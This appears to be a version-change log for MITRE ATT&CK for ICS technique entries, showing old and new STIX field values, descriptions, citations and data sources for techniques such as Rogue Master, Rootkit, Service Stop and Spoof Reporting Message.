|---|---|---|
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may setup a rogue master to leverage control ser | t | 1 | Adversaries may setup a rogue master to leverage control ser |
| > | ver functions to communicate with slave devices. A rogue mas | > | ver functions to communicate with outstations. A rogue maste | ||
| > | ter device can be used to send legitimate control messages t | > | r can be used to send legitimate control messages to other c | ||
| > | o other control system devices, affecting processes in unint | > | ontrol system devices, affecting processes in unintended way | ||
| > | ended ways. It may also be used to disrupt network communica | > | s. It may also be used to disrupt network communications by | ||
| > | tions by capturing and receiving the network traffic meant f | > | capturing and receiving the network traffic meant for the ac | ||
| > | or the actual master device. Impersonating a master device m | > | tual master. Impersonating a master may also allow an advers | ||
| > | ay also allow an adversary to avoid detection. In the Maro | > | ary to avoid detection. In the Maroochy Attack, Vitek Bode | ||
| > | ochy Attack, Vitek Boden falsified network addresses in orde | > | n falsified network addresses in order to send false data an | ||
| > | r to send false data and instructions to pumping stations. ( | > | d instructions to pumping stations. (Citation: Marshall Abra | ||
| > | Citation: Maroochy - MITRE - 200808) Detection: Collect fil | > | ms July 2008) In the case of the 2017 Dallas Siren incident | ||
| > | e hashes; file names that do not match their expected hash a | > | , adversaries used a rogue master to send command messages t | ||
| > | re suspect. Perform file monitoring; files with known names | > | o the 156 distributed sirens across the city, either through | ||
| > | but in unusual locations are suspect. Likewise, files that a | > | a single rogue transmitter with a strong signal, or using m | ||
| > | re modified outside of an update or patch are suspect. | > | any distributed repeaters. (Citation: Bastille April 2017) ( | ||
| > | Citation: Zack Whittaker April 2017) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.975000+00:00 |
| name | Rogue Master Device | Rogue Master |
| description | Adversaries may setup a rogue master to leverage control server functions to communicate with slave devices. A rogue master device can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master device. Impersonating a master device may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. (Citation: Maroochy - MITRE - 200808) Detection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. | Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. (Citation: Marshall Abrams July 2008) In the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters. (Citation: Bastille April 2017) (Citation: Zack Whittaker April 2017) |
| kill_chain_phases[0]['phase_name'] | evasion-ics | initial-access-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T848 | https://attack.mitre.org/techniques/T0848 |
| external_references[1]['source_name'] | Maroochy - MITRE - 200808 | Marshall Abrams July 2008 |
| external_references[1]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[1]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Asset management | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Network protocol analysis | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process/Event Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Bastille April 2017', 'description': 'Bastille 2017, April 17 Dallas Siren Attack Retrieved. 2020/11/06 ', 'url': 'https://www.bastille.net/blogs/2017/4/17/dallas-siren-attack'} | |
| external_references | {'source_name': 'Zack Whittaker April 2017', 'description': "Zack Whittaker 2017, April 12 Dallas' emergency sirens were hacked with a rogue radio signal Retrieved. 2020/11/06 ", 'url': 'https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'} | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may deploy rootkits to hide the presence of prog | t | 1 | Adversaries may deploy rootkits to hide the presence of prog |
| > | rams, files, network connections, services, drivers, and oth | > | rams, files, network connections, services, drivers, and oth | ||
| > | er system components. Rootkits are programs that hide the ex | > | er system components. Rootkits are programs that hide the ex | ||
| > | istence of malware by intercepting and modifying operating-s | > | istence of malware by intercepting and modifying operating-s | ||
| > | ystem API calls that supply system information. Rootkits or | > | ystem API calls that supply system information. Rootkits or | ||
| > | rootkit-enabling functionality may reside at the user or ker | > | rootkit-enabling functionality may reside at the user or ker | ||
| > | nel level in the operating system, or lower. (Citation: EAtt | > | nel level in the operating system, or lower. (Citation: Ente | ||
| > | ack Rootkit) Firmware rootkits that affect the operating s | > | rprise ATT&CK January 2018) Firmware rootkits that affec | ||
| > | ystem yield nearly full control of the system. While firmwar | > | t the operating system yield nearly full control of the syst | ||
| > | e rootkits are normally developed for the main processing bo | > | em. While firmware rootkits are normally developed for the m | ||
| > | ard, they can also be developed for I/O that can be attache | > | ain processing board, they can also be developed for I/O T11 | ||
| > | d to the asset. Compromise of this firmware allows the modif | > | 09 that can be attached to the asset. Compromise of this fir | ||
| > | ication of all of the process variables and functions the mo | > | mware allows the modification of all of the process variable | ||
| > | dule engages in. This may result in commands being disregard | > | s and functions the module engages in. This may result in co | ||
| > | ed and false information being fed to the main device. By ta | > | mmands being disregarded and false information being fed to | ||
| > | mpering with device processes, an adversary may inhibit its | > | the main device. By tampering with device processes, an adve | ||
| > | expected response functions and possibly enable Impact. Det | > | rsary may inhibit its expected response functions and possib | ||
| > | ection: Some rootkit protections may be built into anti-viru | > | ly enable [Impact](https://attack.mitre.org/tactics/TA0105). | ||
| > | s or operating system software. There are dedicated rootkit | ||||
| > | detection tools that look for specific types of rootkit beha | ||||
| > | vior. Monitor for the existence of unrecognized DLLs, device | ||||
| > | s, services, and changes to the MBR.Reference - Rootkit | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_detection | ||
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_is_subtechnique | False | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-24 12:13:28.790000+00:00 |
| description | Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. (Citation: EAttack Rootkit) Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact. Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.Reference - Rootkit | Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. (Citation: Enterprise ATT&CK January 2018) Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O T1109 that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable [Impact](https://attack.mitre.org/tactics/TA0105). |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T851 | https://attack.mitre.org/techniques/T0851 |
| external_references[1]['source_name'] | EAttack Rootkit | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). Rootkit. Retrieved May 16, 2018. | Enterprise ATT&CK 2018, January 11 Rootkit Retrieved. 2018/05/16 |
| x_mitre_data_sources[0] | Controller program | Drive: Drive Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Firmware: Firmware Modification | |
| x_mitre_data_sources | Module: Module Load |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to perform screen capture of devices | t | 1 | Adversaries may attempt to perform screen capture of devices |
| > | in the control system environment. Screenshots may be taken | > | in the control system environment. Screenshots may be taken | ||
| > | of workstations, HMIs, or other devices that display enviro | > | of workstations, HMIs, or other devices that display enviro | ||
| > | nment-relevant process, device, reporting, alarm, or related | > | nment-relevant process, device, reporting, alarm, or related | ||
| > | data. These device displays may reveal information regardin | > | data. These device displays may reveal information regardin | ||
| > | g the ICS process, layout, control, and related schematics. | > | g the ICS process, layout, control, and related schematics. | ||
| > | In particular, an HMI can provide a lot of important industr | > | In particular, an HMI can provide a lot of important industr | ||
| > | ial process information. (Citation: Alert - Russian APT TA18 | > | ial process information. (Citation: ICS-CERT October 2017) A | ||
| > | -074A - 201803) Analysis of screen captures may provide the | > | nalysis of screen captures may provide the adversary with an | ||
| > | adversary with an understanding of intended operations and i | > | understanding of intended operations and interactions betwe | ||
| > | nteractions between critical devices. | > | en critical devices. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.976000+00:00 |
| description | Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: Alert - Russian APT TA18-074A - 201803) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices. | Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: ICS-CERT October 2017) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T852 | https://attack.mitre.org/techniques/T0852 |
| external_references[1]['source_name'] | Alert - Russian APT TA18-074A - 201803 | ICS-CERT October 2017 |
| external_references[1]['description'] | ICS-CERT. (2017, October 21). Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 23, 2017. | ICS-CERT 2017, October 21 Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors Retrieved. 2017/10/23 |
| x_mitre_data_sources[0] | API monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.977000+00:00 |
| description | Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task. | Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T853 | https://attack.mitre.org/techniques/T0853 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Module: Module Load |
| x_mitre_data_sources[2] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Script: Script Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may stop or disable services on a system to rend | t | 1 | Adversaries may stop or disable services on a system to rend |
| > | er those services unavailable to legitimate users. Stopping | > | er those services unavailable to legitimate users. Stopping | ||
| > | critical services can inhibit or stop response to an inciden | > | critical services can inhibit or stop response to an inciden | ||
| > | t or aid in the adversary's overall objectives to cause dama | > | t or aid in the adversary's overall objectives to cause dama | ||
| > | ge to the environment. (Citation: EAttack Service Stop) Ser | > | ge to the environment. (Citation: Enterprise ATT&CK) Servic | ||
| > | vices may not allow for modification of their data stores wh | > | es may not allow for modification of their data stores while | ||
| > | ile running. Adversaries may stop services in order to condu | > | running. Adversaries may stop services in order to conduct | ||
| > | ct Data Destruction. (Citation: EAttack Service Stop) | > | Data Destruction. (Citation: Enterprise ATT&CK) | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.978000+00:00 |
| description | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. (Citation: EAttack Service Stop) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction. (Citation: EAttack Service Stop) | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. (Citation: Enterprise ATT&CK) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction. (Citation: Enterprise ATT&CK) |
| kill_chain_phases[0]['phase_name'] | impair-process-control | inhibit-response-function |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T881 | https://attack.mitre.org/techniques/T0881 |
| external_references[1]['source_name'] | EAttack Service Stop | Enterprise ATT&CK |
| external_references[1]['description'] | Enterprise ATT&CK. (n.d.). Service Stop. Retrieved October 29, 2019. | Enterprise ATT&CK Service Stop Retrieved. 2019/10/29 |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | Windows Registry | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Enterprise ATT&CK', 'description': 'Enterprise ATT&CK Enterprise ATT&CK Service Stop Retrieved. 2019/10/29 Service Stop Retrieved. 2019/10/29 ', 'url': 'https://attack.mitre.org/techniques/T1489/'} | |
| x_mitre_data_sources | Process: Process Termination | |
| x_mitre_data_sources | Service: Service Metadata | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a spearphishing attachment, a variant of | t | 1 | Adversaries may use a spearphishing attachment, a variant of |
| > | spearphishing, as a form of a social engineering attack aga | > | spearphishing, as a form of a social engineering attack aga | ||
| > | inst specific targets. Spearphishing attachments are differe | > | inst specific targets. Spearphishing attachments are differe | ||
| > | nt from other forms of spearphishing in that they employ mal | > | nt from other forms of spearphishing in that they employ mal | ||
| > | ware attached to an email. All forms of spearphishing are el | > | ware attached to an email. All forms of spearphishing are el | ||
| > | ectronically delivered and target a specific individual, com | > | ectronically delivered and target a specific individual, com | ||
| > | pany, or industry. In this scenario, adversaries attach a fi | > | pany, or industry. In this scenario, adversaries attach a fi | ||
| > | le to the spearphishing email and usually rely upon User Exe | > | le to the spearphishing email and usually rely upon [User Ex | ||
| > | cution to gain execution and access. (Citation: EAttack Spea | > | ecution](https://attack.mitre.org/techniques/T0863) to gain | ||
| > | rphishing Attachment) | > | execution and access. (Citation: Enterprise ATT&CK October 2 | ||
| > | 019) A Chinese spearphishing campaign running from December | ||||
| > | 9, 2011 through February 29, 2012, targeted ONG organizatio | ||||
| > | ns and their employees. The emails were constructed with a h | ||||
| > | igh level of sophistication to convince employees to open th | ||||
| > | e malicious file attachments. (Citation: CISA AA21-201A Pipe | ||||
| > | line Intrusion July 2021) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.980000+00:00 |
| description | Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment) | Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T0863) to gain execution and access. (Citation: Enterprise ATT&CK October 2019) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012, targeted ONG organizations and their employees. The emails were constructed with a high level of sophistication to convince employees to open the malicious file attachments. (Citation: CISA AA21-201A Pipeline Intrusion July 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T865 | https://attack.mitre.org/techniques/T0865 |
| external_references[1]['source_name'] | EAttack Spearphishing Attachment | Enterprise ATT&CK October 2019 |
| external_references[1]['description'] | Enterprise ATT&CK. (2019, October 25). Spearphishing Attachment. Retrieved October 25, 2019. | Enterprise ATT&CK 2019, October 25 Spearphishing Attachment Retrieved. 2019/10/25 |
| x_mitre_data_sources[0] | File monitoring | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Packet capture | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA AA21-201A Pipeline Intrusion July 2021', 'description': 'Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) 2021, July 20 Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013 Retrieved. 2021/10/08 ', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Detonation chamber | |
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | Mail server | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may spoof reporting messages in control systems | t | 1 | Adversaries may spoof reporting messages in control system e |
| > | environments to achieve evasion and assist with impairment o | > | nvironments for evasion and to impair process control. In co | ||
| > | f process controls. Reporting messages are used in control s | > | ntrol systems, reporting messages contain telemetry data (e. | ||
| > | ystems so that operators and network defenders can understan | > | g., I/O values) pertaining to the current state of equipment | ||
| > | d the status of the network. Reporting messages show the sta | > | and the industrial process. Reporting messages are importan | ||
| > | tus of devices and any important events that the devices con | > | t for monitoring the normal operation of a system or identif | ||
| > | trol. If an adversary has the ability to Spoof Reporting | > | ying important events such as deviations from expected value | ||
| > | Messages, then they can impact the network in many ways. The | > | s. If an adversary has the ability to Spoof Reporting Messa | ||
| > | adversary can Spoof Reporting Messages that state that the | > | ges, they can impact the control system in many ways. The ad | ||
| > | device is in normal working condition, as a form of evasion. | > | versary can Spoof Reporting Messages that state that the pro | ||
| > | The adversary could also Spoof Reporting Messages to make t | > | cess is operating normally, as a form of evasion. The advers | ||
| > | he defenders and operators think that other errors were occu | > | ary could also Spoof Reporting Messages to make the defender | ||
| > | rring, to distract them from the actual source of the proble | > | s and operators think that other errors are occurring in ord | ||
| > | m. (Citation: Research - Research - Taxonomy Cyber Attacks o | > | er to distract them from the actual source of a problem. (Ci | ||
| > | n SCADA) In the Maroochy Attack, the adversary used a dedic | > | tation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) I | ||
| > | ated analog two-way radio system to send false data and inst | > | n the Maroochy Attack, the adversary used a dedicated analog | ||
| > | ructions to pumping stations and the central computer. (Cita | > | two-way radio system to send false data and instructions to | ||
| > | tion: Maroochy - MITRE - 200808) | > | pumping stations and the central computer. (Citation: Marsh | ||
| > | all Abrams July 2008) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.981000+00:00 |
| description | Adversaries may spoof reporting messages in control systems environments to achieve evasion and assist with impairment of process controls. Reporting messages are used in control systems so that operators and network defenders can understand the status of the network. Reporting messages show the status of devices and any important events that the devices control. If an adversary has the ability to Spoof Reporting Messages, then they can impact the network in many ways. The adversary can Spoof Reporting Messages that state that the device is in normal working condition, as a form of evasion. The adversary could also Spoof Reporting Messages to make the defenders and operators think that other errors were occurring, to distract them from the actual source of the problem. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) | Adversaries may spoof reporting messages in control system environments for evasion and to impair process control. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. Reporting messages are important for monitoring the normal operation of a system or identifying important events such as deviations from expected values. If an adversary has the ability to Spoof Reporting Messages, they can impact the control system in many ways. The adversary can Spoof Reporting Messages that state that the process is operating normally, as a form of evasion. The adversary could also Spoof Reporting Messages to make the defenders and operators think that other errors are occurring in order to distract them from the actual source of a problem. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Marshall Abrams July 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T856 | https://attack.mitre.org/techniques/T0856 |
| external_references[1]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 |
| external_references[1]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 A Taxonomy of Cyber Attacks on SCADA Systems Retrieved. 2018/01/12 |
| external_references[2]['source_name'] | Maroochy - MITRE - 200808 | Marshall Abrams July 2008 |
| external_references[2]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| x_mitre_data_sources[0] | Alarm History | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network protocol analysis | Application Log: Application Log Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.981000+00:00 |
| description | Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network. | Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T869 | https://attack.mitre.org/techniques/T0869 |
| x_mitre_data_sources[0] | Process use of network | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Malware reverse engineering | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform supply chain compromise to gain cont | t | 1 | Adversaries may perform supply chain compromise to gain cont |
| > | rol systems environment access by means of infected products | > | rol systems environment access by means of infected products | ||
| > | , software, and workflows. Supply chain compromise is the ma | > | , software, and workflows. Supply chain compromise is the ma | ||
| > | nipulation of products, such as devices or software, or thei | > | nipulation of products, such as devices or software, or thei | ||
| > | r delivery mechanisms before receipt by the end consumer. Ad | > | r delivery mechanisms before receipt by the end consumer. Ad | ||
